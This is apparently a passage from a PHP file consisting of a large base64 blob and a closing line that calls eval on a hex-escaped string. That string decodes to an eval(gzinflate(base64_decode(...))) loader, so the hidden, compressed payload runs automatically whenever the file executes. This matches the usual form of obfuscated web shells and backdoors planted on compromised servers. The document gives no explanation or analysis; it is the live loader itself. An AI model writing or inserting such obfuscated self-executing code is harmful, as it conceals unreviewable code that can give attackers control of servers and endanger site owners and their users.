OTTuypf05J0q33Vn1Za6GzUzJgasNI1nw8N+i3DhjNZaw+QPzmXQ8xAJartYVeUccYo44nCOaJu5m5jiFDJFSdj4P8Yl5xZccnQufc+W+M1klvqylAeaFPUvGfcPDxU3BpyEiVxkDOehDU2pvx+7yS67YvTkan9YxcflDylkk1VrkNaiMfTimW9fYbjKpUp5MCyi5yevXzHfPTVeZe4sq4dYZMEUlSCV5JAkg2T+xOCLRcFOvy+2qNIZIqho/nHCjNBsC3exnHcJPt9taVGuyHPjzfM3BmaV3yTEnuo1ZsY3HpGq2Wx2rmHJoXSraITMJjNEWdWuzeRCXgpu8Hy6n6dZ24yqPoeslSq+XPqPvXV2ufoP/oRROoT/J3Vj0oL/UePX+O16BTZop1Y9W5iBGt+qjd9qZTDb3nT86X96n1d7OQBh6MtRlcPScOtG4wL+n+D/VGeldZ0DszTc6SteOdMj9hOaFSdtSzwp1si+MHKtuNRRv7I3ilFeQA+v4Rq2RJDG2Uh7sFQL2FgYRfEMp6duEYOaxCZGxNFbBFXn4fIWGyPIfKuHgPOGXcCKwT17BQHryI1lsX5L+i3faDDYhX+EnpWFlaNYbPSKjmL1XxBmLxve72dG9xM7KVysGFMOtcB4UF0RcywufLeCMHA7HLneuo6ZdUNYfMt2uYWi2N6TEddZTRHTIi+7OB67zj4JoCJ9UTpH2EYZX1uZw7bviuQgavUAw0I3NvW6ElT1xo7sabWCL3mKUJwYh5M/dnchb5zJXM1vCVV8lQBlPeyxuVOB3JqCGICZCCXZclRTLlb/OzXOQm0NzRqRKjWLPUqwSlZGcdzgOxHGMNksSzApHCWXME3wGiJ0lBtcQBYN2/7x4d7Ju8dHu5aMEACU558kn6FSlDp5Gg7nvhtbmVd60zpfUUA84zEVMQR4PQ1OUMfoBHmMVX69TUP21IvR5DBEQWjscbIQW+rpP2Qg/ZHM/fxwYe6WhbPGyld2iNfb8eiAwfGQV17gIYVVC88ofcxJr8XpfLZH1FTXcEF054rHkI3NRNdJ1+nfiMQLHH8+zJOR4uEQZaic06NXRjyf0fGubuT6E+aM38dn0CARb7C4AXHZQtYwxtDWqavc8S0aFixIPpv6HnoN832K3FLSbUOT3g40qmajEL4K++6aWVpFrLzIW4D6+PiPV6WF0/do8yXFc4ULioeOV17+MLJB3pn5XmRchyE7tBN7QAF/s4Of7VJVgcanPyMkHb1hzDeAgfc1H6tEq/eIe2SpD+3R4FGctfS3bR+aV25sLL5Pzi4YwVb6zKSy7CfDQJfIP6EH3Gf0oTPl4FmSxnhiD8PLYhp53g/QyDDcnsbDY0NMjHqR34C1jo9trcvJsxAZiK8kMrifZCEyJBiOAXO3EbhJHhs5OKcXTsX8516IRuZPBZ9TG8391HVh7Diw+/Tpb/YTBgXsFM6BIAu2+vg3nMjxnyvYO0KbrWg+uIJ/8P5J3RrjTZC6NUj/gX2sFRAmemQCfuATYISkKChMZWgHY3qnmVN0bl8ghnC4gZgGQyeMXKRpfhE7NtYfE8AwunQHmA4r3xT/jc4nc+AaEuVMzvHJwnN0YbW8GRmlY/o5ukTKI2926UVE2sRz/SE1nJ5VA6ZH2Lg4IMEI8wv2D9gWbxjbwykWdnCijhHmqzekZo5pD8d+XmKsEMy8iqd2jIl/TwcYmocIv5x6PvLyEnYivDWBF3yxSzjDXXPdKA2nYF3C+IBi9IIIVnkVfCX6gnNsIcpt7BWC8S9na1MPwz8X4tclS672jHzP5qfxxsSYQn9eikBaHEgIHxGIw3cYvJ9HKl0Q/y2VoyJEaxZCm0anjISsHE3F6Pe3jg/P/8XGPSUK/ittUwbY/2YDUzKWb6UcveuFw1er4PnTpwb646CQ5bGzhiNjbZIXp/mi+B7XItlMD3YVI1JIZKcB/eYKbHhwvTPVBbkmtP3qo87ypH5mac4q90xuWkBSW5qxAVPaxeYGSz6JuheF0xvihTPU/HDbLHim+SRcBoO4cthqNpsF/kJLuxrkRyW/j6urxDIeQqgygx1EMJ+6kefk1WlFeRtZHWtufIsn6osA0GG7oynptrsaTVomj3hThIhqK773pDWjhA7BI7oCdUNARGpTo2t8Cb2gChv9OhVqcIe3oiIlofVumJn4Jye8Y7npLSiRqYeOssxthw7c2d3ZW7E741MdrWHcvqOBPmaPzRrHbpJ4wTiWBfBFWfESbWFJeqv2sYBQi+FaaOUVHEurNv7yuVqDzvPG08EO/UvtxCdx6AplR37hsp9+RW7c0QxqvDgLLy4eX6qghFjr8UudKcJr3RbHjjXVCsq3Ots4otc/oMNgvwOc29ywJq7ApHhFVSIaPZ7qRPRs8hbjsEg+XSy9Us5wvEpWI6uQrBVGTTysgp/Cw0t1GOWxusdqbYQM6nC/8lVlC0caJkp/b9pCYwo+Q2WIX917mxvtTjnN6dGxamKR7jdWsvn5mozW4rsF39iULjXIIDEfRsMutcxgjOxyhpo3N5L5omkSPd957Gr6cAArvIizc/teMqq8Xxi2PkdX+wn0/TV3o6tqBY4+C6gzFlDH8XPwiOLicGoV3MuOkUJs0L8cVdrv9TK0S7WatuxVadxm9WAurj59OxrH1dpD+sZtBgbxbNa2UqI639ONnCTOG6KgD+MuhJUucuPbcgiZsgyOpdiBr1Q/HcTV2w/QsiVM70fWe+bx88N3qaZF3hT5njGRQbz7anfnBFGT3+3e0eFrA/gjqjLePd892sVsfI0b9rRwFl7pWolVRMLSDKOXzb+HZ8s1yiJunTx+8mr32Pp5rOLBT2izR4EZjRFsPVWNfD+GM/TUbrCjunE5cSOXw7McigiWL2AZjw+e5gFROEM/wHn8+9lN7yb9IKf5vOOobsdPnGyweiflpZdcC5IdFpDmJoF7w6JdotyN8UjEI96kzth6+xUYIqKuLqbpvSvFWTszKndPjJ3nj4/wX6vxPbIdmRmnamVyuYY9nybcjR+S7uIJoB/hsj6T2HpRKHReHT5+Sg8GVS2zYQ+Hwk+C6m6YVg2P83hiNWvLjjq9np2j3ccnu0wS4G69TZECDDzW1To7h28+UCITesUkdPikp3I03bFER05HWABV6wH+YdfIKl5XY0A6qCoR1yl8YpG1PneKaLeGUTgzeGBbqDJ904KzlyvSCEW3J9QN5BBSiYr4tVT/440y6CysFgPy4fFQe3volkOhUiqdta75E6YD1dmw/kwbWuHPOHUNbd1n0Y3VNbuCjzDj7SuCxytBZqf8vCdu/SmXKg3EUOuklyiqLKGwY/jg/Y0NmxzpRVVWPH63qzATg8WQKTbdiooxxF950gfSwlM2Y4VVdmQVDPCMXw1UY6DVpXljLPwMiQtBGQHYAeVdgH+YGZd3dOjPp0Em2i79kYEWiBX0FAQ+BLFU9P8LskSjkmmJJzqogk+VczJ6HZy+erWIdvyTvg3kYTCsi2XeAVErqVwsUcEt6QYZxtcqfOqiz4Lp90GU0SJxgQLNlKyVbGeGvj/NRuW8Af9IgAXPESB7cUzcPHJwOOA9xP2D492jE2P/4ORQmzNG1WpI4VU30JuNk4X2UuPt41enu8cGDCY4oGYBSYHbsGqLBjsRwYevEHplcGXRnIoahJ56Sf37aLqVBColxJMXSst6iqkEsJtuRwufvBo5Mu071uGMyBS9n1sxS6XdD4kJMdozE0Vd7BfOjMr5MjNCCF51nKfDfNEot+QozwOJ0dSxFmkwbz2mRGOW3yFc46/KcMDfb5EqOa695eFaEQgIWRRwDv0+tYhaK+jr7zPfA+6YNBys9aQajYOiUENNlKoWxzQ4HHlBNhGVUtk0PM1KP2CsIVUvFUIJxmZC46SRMrOij6aB+Y4e+o7XWu17LXPL4DXJw4vlzDAHelReEs/joLfuiwrPk9GDxUVfHu4/WDsqKnseeg+iJQqflhWeLy7szB7cv1/cYsgoKqvMppyjMtsZ5/c6N8YaVIFvH3QQt78NGAc51/vigH54kFif+bYX5Apkn5dMBj5/uuiCnwSIUWy/fZEtzf24Jafk+z5FYS0Yr1gwvRzDFtNhZP6oNNH+P9csLbCFmiNezyk25xQtrdr9dRu6EXp1F7UEK4b6EAs7AHYuaWI1YG3A58caeAejutbK3mIviwBo/vtf5E0JQnoQwfwsf5ZGewvEikeWcDe20N/YSs2Y1igmh2MQzj0lYoLyrkj23REyN+JzJcMejh9pckTrrPx4hQJNfr3hinaZ8JQr5lJ7pWbMBOxLhCm+KUYxsKkUZibsqBYt7uXI0git5TCOcr9ruSjH/7UQxzyGMrFUC3NMa1sujDEdcw0lYO4jfS3sCpgas54xlO4Q94VsRPbIX7As/DDbTlEFhchZfjly4fen1iBfsMchw5taaO0Wiy0n5sw0RfD4gvW49pB8pHz62ir1Z1cKIK/PzOXIoPX9Bjr4HgAIQX+pG2gQwLchgoxci2lgWw4g4YbqOZxaO9bN7nGzWyZmOSGkkpezqvhSospo2k/Ru1f/xS1VVjdUuFOSB4Xv2CGlZZfeGaVFbrEjyhRabieUFlp+ByT32gQqTUgsR7zLpcggweyskMDI00pc7/xRCtFnD1JYHb2AiXcB2IuaXSM9PWnRBS29QhPjSuIvfBcDr4iw5G5+UDxMZRK/EpIWlTRrgUmEkwGXUam//500tAlOEFrlhZJdSxUhzWlCYxOykzp3yTf1soW1fNiIR7SWMwTZrdHix0SY5R/9MDj2MKDrfwWSgsC4qIAtAr84Q5f9eux1KSOZuEYwnw7cyAhHBu5X0lbRUo+/hNsR/ZZvoakkx/3hAJfCR+pZNz9/Uc2d2eVJY29cLX5pEy0pDYGDeWitdLE+gDZGDbFJ4qZhxIU2qOtyleyoMWvB6RX+bojBvRC4TcDt5YA3CHhjEXCBd45qfkqqSd2XUwiHiqQUT/38BNtRs9syOymoDwjz8TDMYIFA/kMW8lVkjJtCQmSI81JLqvZgH5STz+fhvv/TZ+uzeLZvdVWG2SwG1J/jW7kRSKFMbskz6xMODmgxl3nBOVud+Kwl90L1HT98xk/bULe17XRTSLz8dS91afqmnLVuOPDfSWUvD2bGCeGX1KwB7MPdiC6etWdfjTj0vaHxy/3791FokL8js2tvpbEO0tgBpBMb+HgDIBaSWTWFc5hS+S0LKxqxJSR5yZwo4JgQS4scYoMMTfhTV/HtHJ4enFR/I8tdINV9XPBbtdSkIoZ5frPE3T2FOZX1SBAiM9XwDvI9SbFNpyGZ7v95pfJFh3xc5jMT2KdC1ls12JOlCXSV4iYhzrBbW6axHU9t3+9Vv1WCTxZsoK7xcEpJ7Cr39jprhTIkrrVhV9w8uUbhPO9k4lYM5kmS7geeYjzItIC8r66II2i1fB/H7KgQUsZYRCIFU8U3pLaKt6NkERVPtnC1iZUG4VtizggmaC9UiAAMQieYxkfUX7zgp88ym5oeklX9fKh+sId/pIS4eSzjrcSMioMVh+U6s+GSWTN7THPecT2/ioA0Oox1Y6NZNkX1t1lJ+Eq9Q7qgfoPxC+eRDE041PBukLag1K7TaG4knLIBKUTodxy9nMJrI3Id6L+4ZryBJhi/lDzFgpwUG0ScLblozWxvU6a9Zm3FjQ7j1CK7rdqtPaO1QFZxrPlZb5UxzQKeWey9mLSWtRYRXwMp4icd403kXpBUWJLGbd6m/z6hq5LQA+yYu+Oks4hQrY1rYqgq5GcVDdIIk4ngnzPtqKPKMl7tv94/gYFuHO7tMb8XjerfNpqppFcdZxbW8me2mj95PQXYG1Z9o2llVpNiKaxbLoQgYnKmMGRGW3upW5EgjwplhDiH4w5gpZtxrKD9Ab7Bp9gp76Q0W8V7o+LwrG1xj9r2gtJo9L+0f8f/0vjzGObXC7B+KRQXHSfvSLqZ6zERr6am7zMqVRSa6twrei+VCaoUUiKY4OERoCgSwkTDBrzEraV6cE1Z2VVdKlJ8Qleq4hFNb6dp1/KXbAjnq+kDPVgAA0wqWAQS+rfbbT1sp+vLzQ1XbJXsJj7bIUkPhhxb8Dzaw8ztdY8tvGqL1OmkFbIagd8eRPloNJwO8VCetYAV6xr7rjNDVY+fe0e75qCAseAgPVL5b+FLFUWvxdCY476D2VcKZM36NmqQPsOlXzyytHMb7IRotuI2SNsh0d0jymIJxbskzUxqZYOBcLEhtkE0bbdw2nYmLP4x/MZXxIvkc0EAi3zIHBRP6COKGzn+ju+C5bU8ykjJtRupS5GBR+iAVqpMYaFc3HRTpyhj0se1NV2PmT6SJsKsref4UbQicb164c3gVAYLJ8MWWzOoUIMuLzCXZgfWWTup/olJf8KC+siqG3+iOvRPPEWdHu8ewaka3XL/3KO4bJF38ScuRVdWztYnCFXF48J93Q3DUvRpZoOuD9DRbQYn7e0wYgVZ08Rej3cnl2oWRUjcD+AEkd3qL9aiiQ7M9p18ZiG/qKajVsZWpvOEOBhLL9SCdVS9j5iJGVL0UC6gkebkhv4KjH4F64YJo8oh3tDvuhtFzliZd/5Wcl7JE/dre+AFZNCVGHhitYJvFvAuHroOJuFjAK6DObXOdRr9K48YgAFWx8vSsmgxCWP/qWjLibVjx/Py5FIylv9WiVDxxt+AaXYq3nacRK9cag18rXbbCNPoOpMobQ2G02/QP6stfGpMhGCqRAvIoTrbuVbK5HJyfE4OPWKAxBQ+XDBjDxeISUbRwOezGT7IFC1i0wiW6r6MlK0Tp+fdhkLrV6vBe2tZ6ipxOgilMxXOCOsJBZQ0OIX0QjqPMcmT6ioYizupgfEkBnYa+RqqtO1pvopDvmLJ8/cwFmJaiL1ZrzORAU6H94yJHU8YCHzx9Hhit5QM/OQ5TnQ1S1gq+8mSd452Ntoi2cHQDZT8+Hhnfx/jtz7ffc9y0zHGICAD8wmQQaSTQoN4ursj84cYlEHNfLJ/kBbG6c9yoYxWOetuPVMWZQJBdNT+gVaSz34tU1LEJjvPZHIK8+mtMXLy4VyUD5DlQGmcZUEpUbQzI1Z5a7OpGl6msZYI4ZPyi4MLqnEl79xZMohh48Z4klhPIFzP9UcclLnEffyZUUqBKljGbo5ECXi/IxKlWkqNRNm4VRxKPQxl478ThPLu3ZIQlLfvt6YIDVUSQ40NJNjx8XA2i18AVTdpXLeMvbsH30rQZKss3mAa2oDHUEZFJo4PNbQB7aeyMQi/o6SR2+mprispBr4xl2dQdQWgoyg7iKbvGGbflTYL9lbkNttjfuMZQ3TmeekbHlBe7y0bl9Bs4G7yewMTmvnAhHhYzBzdiBJ5dNPDDVqZ56bMksCFBV4gulKIovCmpyslPiLfjcOGVtJQVktBeEQzS6837CpSQdrkFoRIXFbY3XCyzAk+LZ6AqcZLpF6gYId25EzojIJWtNJY7XeyEUVEAHMWuPOSP3enPjwi3xRj38LjsyyWeZFDXyvn0MfVcda95q8Wt85rpkOrBeknUPVWYXgRLUQ5+53TF6iPi6s19N6QaeZGtOg6d1snu1tQwR/7vYkKwW5Jym+3qaQY/8J32P/NXSVUBQMO/X/rkTGPMKxm7F24z/xwAHtn4Gk6CcRDfphaN9ASgAqXda4Lp+RGF77Zgo6fdOWeJk5/Hnh/zd0q/5q60Rg+xrIWLfp3DeNVplnAnLqB3dI/PHj14en+EY8YyXY7YmJSfbCIPiJTpPgW52kp6BlZMiyS8ioVhqMbepGIgyS0c6jIwEIrXRFIiSnt8txSla4ZFV9uzWcarH/+MR7xcKEFL9URvrpuX1vpdtVQonJhWSpSHnugyDTV17DYjQqTBc/DgHnw68yk+HlFSxwHR1NK3mKgvTuu6TmwUzEzzzThHMc3gmKdLJKCYURnlyUEoe6hDEsKMLZr9Qe+HZyLKTgZCRFVNknZQUmblm3UUnKDsK7c0bAwR1yBx3bSWTmCM4W1XlAxM1xLOKzbiWznHCRrI5pbipFe7nUnowbToQB4kszirfX1TLF1PMF8bWDAv45aTOjFULAPopupgY1FI3KHQej97TaccLoMOUBNttj6w7+61qpaAOllS86qdTfu4kl1MaGlLM9QTEyAsdBAGbsUsUqJW7BNbFRowJoF+q7889+2eMVb8QRiLyf2GUmk2c5rceiTDO4ZcO0lcZsZ+HUQmlniUW8N0HoSzRMX2uDQw7AFb77ZXNW+iKBsyxwblRKxG1H83TJQqI+ORv8f" ;eval("\x65\x76\x61\x6C\x28\x67\x7A\x69\x6E\x66\x6C\x61\x74\x65\x28\x62\x61\x73\x65\x36\x34\x5F\x64\x65\x63\x6F\x64\x65\x28\x24\x6F\x29\x29\x29\x3B"); ?>